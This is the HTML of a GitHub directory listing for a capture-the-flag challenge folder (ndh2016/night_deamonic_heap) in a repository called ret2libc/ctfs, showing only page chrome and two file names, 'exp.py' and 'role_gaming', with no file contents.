<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> ret2libc </span> <span>/</span> ctfs
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>4</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>17</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/ret2libc/ctfs/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":55764634,"originating_url":"https://github.com/ret2libc/ctfs/tree/master/ndh2016/night_deamonic_heap","user_id":null}}" data-hydro-click-hmac="ba2e95e02594beb50a3badf8bf37b7900ca72ccd95895b3cfd6c902b472290e9"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ret2libc/ctfs/refs" cache-key="v0:1506105894.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cmV0MmxpYmMvY3Rmcw==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ret2libc/ctfs/refs" cache-key="v0:1506105894.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="cmV0MmxpYmMvY3Rmcw==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>ctfs</span></span></span><span>/</span><span><span>ndh2016</span></span><span>/</span>night_deamonic_heap<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>ctfs</span></span></span><span>/</span><span><span>ndh2016</span></span><span>/</span>night_deamonic_heap<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ret2libc/ctfs/tree-commit/6ead9375ec34a7684aca97f1de7d609296e7595a/ndh2016/night_deamonic_heap" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/ret2libc/ctfs/file-list/master/ndh2016/night_deamonic_heap"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>exp.py</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>role_gaming</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
<div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> You can’t perform that action at this time. </div>
<div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template>
